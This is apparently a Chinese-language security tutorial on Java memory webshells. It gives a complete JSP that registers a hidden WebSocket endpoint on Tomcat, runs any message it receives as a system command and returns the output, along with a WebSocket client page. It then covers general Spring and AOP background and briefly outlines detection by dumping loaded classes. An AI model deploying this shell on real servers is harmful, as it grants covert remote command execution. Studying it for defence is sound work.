根据Endpoint的加载原理,要想动态添加一个Endpoint,就需要获取WsServerContainer,并通过addEndpoint向其中添加ServerEndpointConfig。
在WsSci#init中,完成了对WsServerContainer的实例化,并且通过ServletContext#setAttribute对WsServerContainer进行存储。因此就可以通过ServletContext来获取WsServerContainer。
最终WebSocket内存马实现步骤如下:
<%@ page import="javax.websocket.server.ServerEndpointConfig" %> <%@ page import="javax.websocket.server.ServerContainer" %> <%@ page import="javax.websocket.*" %> <%@ page import="java.io.*" %> <%! public static class C extends Endpoint implements MessageHandler.Whole<String> { private Session session; @Override public void onMessage(String s) throws IOException { try { Process process; process = Runtime.getRuntime().exec(s); InputStream inputStream = process.getInputStream(); StringBuilder stringBuilder = new StringBuilder(); int i; while ((i = inputStream.read()) != -1) stringBuilder.append((char)i); inputStream.close(); process.waitFor(); session.getBasicRemote().sendText(stringBuilder.toString()); } catch (Exception exception) { exception.printStackTrace(); } } @Override public void onOpen(final Session session, EndpointConfig config) { this.session = session; session.addMessageHandler(this); } } %> <% String path = request.getParameter("path"); ServletContext servletContext = request.getSession().getServletContext(); ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(C.class, path).build(); ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); try { if (servletContext.getAttribute(path) == null){ container.addEndpoint(configEndpoint); servletContext.setAttribute(path,path); } out.println("success, connect url path: " + servletContext.getContextPath() + path); } catch (Exception e) { out.println(e.toString()); } %>
访问链接:http://localhost:8080/memshell/ws_memshell.jsp?path=/ws_memshell
之后可以使用ws client和ws内存马进行交互。
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>WebSocket的Client实现</title> </head> <body> Welcome<br/><input id="text" type="text"/> <button onclick="send()">发送消息</button> <hr/> <button onclick="closeWebSocket()">关闭WebSocket连接</button> <hr/> <div id="message"></div> </body> <script type="text/javascript"> var websocket = null; //判断当前浏览器是否支持WebSocket url的地址为本机ip地址+Tomcat端口号+项目名称+注解服务器端 if ('WebSocket' in window) { websocket = new WebSocket("ws://127.0.0.1:8080/memshell/ws_memshell"); } else { alert('当前浏览器 Not support websocket') } //连接发生错误的回调方法 websocket.onerror = function () { setMessageInnerHTML("WebSocket连接发生错误"); }; websocket.onclose = function (e) { console.log('websocket 断开: ' + e.code + ' ' + e.reason + ' ' + e.wasClean) console.log(e) } //连接成功建立的回调方法 websocket.onopen = function () { setMessageInnerHTML("WebSocket连接成功"); } //接收到消息的回调方法 websocket.onmessage = function (event) { setMessageInnerHTML(event.data); } //连接关闭的回调方法 websocket.onclose = function () { setMessageInnerHTML("WebSocket连接关闭"); } //监听窗口关闭事件,当窗口关闭时,主动去关闭websocket连接,防止连接还没断开就关闭窗口,server端会抛异常。 window.onbeforeunload = function () { closeWebSocket(); } //将消息显示在网页上 function setMessageInnerHTML(innerHTML) { document.getElementById('message').innerHTML += innerHTML + '<br/>'; } //关闭WebSocket连接 function closeWebSocket() { websocket.close(); } //发送消息 function send() { var message = document.getElementById('text').value; websocket.send(message); } </script> </html>
访问链接:http://localhost:8080/memshell/websocket_client.jsp
参考链接:
https://blog.csdn.net/Dawns_1106/article/details/118368263 https://blog.csdn.net/weixin_36586120/article/details/120025498 https://www.anquanke.com/post/id/280529 https://github.com/veo/wsMemShell/blob/main/Tomcat_Spring_Jetty/wscmd.jsp https://github.com/veo/wsMemShell/ https://xz.aliyun.com/t/11566
Spring是一个支持快速开发Java EE应用程序的框架。它提供了一系列底层容器和基础设施,并可以和大量常用的开源框架无缝集成。
Spring最早是由Rod Johnson这哥们在他的《Expert One-on-One J2EE Development without EJB》一书中提出的用来取代EJB的轻量级框架。随后这哥们又开始专心开发这个基础框架,并起名为Spring Framework。
随着Spring越来越受欢迎,在Spring Framework基础上,又诞生了
等一系列基于Spring Framework的项目。
这里我们简单介绍一些Spring的一些核心概念。
什么是容器?容器是一种为某种特定组件的运行提供必要支持的一个软件环境。例如,Tomcat就是一个Servlet容器,它可以为Servlet的运行提供运行环境。类似Docker这样的软件也是一个容器,它提供了必要的Linux环境以便运行一个特定的Linux进程。
通常来说,使用容器运行组件,除了提供一个组件运行环境之外,容器还提供了许多底层服务。例如,Servlet容器底层实现了TCP连接,解析HTTP协议等非常复杂的服务,如果没有容器来提供这些服务,我们就无法编写像Servlet这样代码简单,功能强大的组件。早期的JavaEE服务器提供的EJB容器最重要的功能就是通过声明式事务服务,使得EJB组件的开发人员不必自己编写冗长的事务处理代码,所以极大地简化了事务处理。
Spring的核心就是提供了一个IoC容器,它可以管理所有轻量级的JavaBean组件,提供的底层服务包括组件的生命周期管理、配置和组装服务、AOP支持,以及建立在AOP基础上的声明式事务服务等。
AOP是Aspect Oriented Programming,即面向切面编程。
与这个概念相对的是OOP,即Object Oriented Programming,OOP作为面向对象编程的模式,获得了巨大的成功,OOP的主要功能是数据封装、继承和多态。
而AOP是一种新的编程方式,它和OOP不同,OOP把系统看作多个对象的交互,AOP把系统分解为不同的关注点,或者称之为切面(Aspect)。
要理解AOP的概念,我们先用OOP举例,比如一个业务组件BookService,它有几个业务方法:
对每个业务方法,例如,createBook(),除了业务逻辑,还需要安全检查、日志记录和事务处理,它的代码像这样:
public class BookService { public void createBook(Book book) { securityCheck(); Transaction tx = startTransaction(); try { // 核心业务逻辑 tx.commit(); } catch (RuntimeException e) { tx.rollback(); throw e; } log("created book: " + book); } }
继续编写updateBook(),代码如下:
public class BookService { public void updateBook(Book book) { securityCheck(); Transaction tx = startTransaction(); try { // 核心业务逻辑 tx.commit(); } catch (RuntimeException e) { tx.rollback(); throw e; } log("updated book: " + book); } }
对于安全检查、日志、事务等代码,它们会重复出现在每个业务方法中。使用OOP,我们很难将这些四处分散的代码模块化。
可以发现,BookService关心的是自身的核心逻辑,但整个系统还要求关注安全检查、日志、事务等功能,这些功能实际上“横跨”多个业务方法,为了实现这些功能,不得不在每个业务方法上重复编写代码。
一种可行的方式是使用Proxy模式,将某个功能,例如,权限检查,放入Proxy中:
public class SecurityCheckBookService implements BookService { private final BookService target; public SecurityCheckBookService(BookService target) { this.target = target; } public void createBook(Book book) { securityCheck(); target.createBook(book); } public void updateBook(Book book) { securityCheck(); target.updateBook(book); } public void deleteBook(Book book) { securityCheck(); target.deleteBook(book); } private void securityCheck() { ... } }
这种方式的缺点是比较麻烦,必须先抽取接口,然后,针对每个方法实现Proxy。
另一种方法是,既然SecurityCheckBookService的代码都是标准的Proxy样板代码,不如把权限检查视作一种切面(Aspect),把日志、事务也视为切面,然后,以某种自动化的方式,把切面织入到核心逻辑中,实现Proxy模式。
如果我们以AOP的视角来编写上述业务,可以依次实现:
然后,以某种方式,让框架来把上述3个Aspect以Proxy的方式“织入”到BookService中,这样一来,就不必编写复杂而冗长的Proxy模式。
如何把切面织入到核心逻辑中?这正是AOP需要解决的问题。换句话说,如果客户端获得了BookService的引用,当调用bookService.createBook()时,如何对调用方法进行拦截,并在拦截前后进行安全检查、日志、事务等处理,就相当于完成了所有业务功能。
在Java平台上,对于AOP的织入,有3种方式:
最简单的方式是第三种,Spring的AOP实现就是基于JVM的动态代理。由于JVM的动态代理要求必须实现接口,如果一个普通类没有业务接口,就需要通过CGLIB或者Javassist这些第三方库实现。
AOP技术看上去比较神秘,但实际上,它本质就是一个动态代理,让我们把一些常用功能如权限检查、日志、事务等,从每个业务方法中剥离出来。
需要特别指出的是,AOP对于解决特定问题,例如事务管理非常有用,这是因为分散在各处的事务代码几乎是完全相同的,并且它们需要的参数(JDBC的Connection)也是固定的。另一些特定问题,如日志,就不那么容易实现,因为日志虽然简单,但打印日志的时候,经常需要捕获局部变量,如果使用AOP实现日志,我们只能输出固定格式的日志,因此,使用AOP时,必须适合特定的场景。
我们知道,Servlet是Java EE Web开发的基础,具体地说,有以下几点:
直接使用Servlet进行Web开发好比直接在JDBC上操作数据库,比较繁琐,更好的方法是在Servlet基础上封装MVC框架,基于MVC开发Web应用,大部分时候,不需要接触Servlet API,开发省时省力。
因此,开发Web应用,首先要选择一个优秀的MVC框架。常用的MVC框架有:
Spring理论上可以集成任何Web框架,但是,Spring本身也开发了一个MVC框架,就叫Spring MVC。这个MVC框架设计得足够优秀以至于我们已经不想再费劲去集成类似Struts这样的框架了。
下面我们用Idea创建一个spring web应用。
Idea-->File-->New-->Project,
创建web项目,勾选Web需要的依赖,
创建完毕后IDEA会自动化的,利用Maven功能下载需要的jar包。项目结构如下:
写一个测试页面,测试一下,Hello World页面。
参考链接:
https://blog.csdn.net/qq_36223406/article/details/120850022 https://www.liaoxuefeng.com/wiki/1252599548343744/1282383921807393 https://blog.csdn.net/qq_43369986/article/details/116746868 https://www.cnblogs.com/zpchcbd/p/15545773.html https://xz.aliyun.com/t/11039
参考链接:
https://www.freebuf.com/articles/web/172753.html https://www.cnblogs.com/xyylll/p/15473386.html https://www.cnblogs.com/LittleHann/p/17462796.html https://xz.aliyun.com/t/11640
在java中,只有被JVM加载后的类才能被调用,或者在需要时通过反射通知JVM加载。所以特征都在内存中,表现形式为被加载的class。需要通过某种方法获取到JVM的运行时内存中已加载的类,Java本身提供了Instrumentation类来实现运行时注入代码并执行,因此产生一个检测思路:
注入jar包 -> dump已加载class字节码 -> 反编译成java代码 -> 源码webshell检测
这样检测比较消耗性能,我们可以缩小需要进行源码检测的类的范围,通过如下的筛选条件组合使用筛选类进行检测:
还有一些比较弱的特征可以用来辅助检测,比如:
参考链接:
https://www.freebuf.com/articles/web/274466.html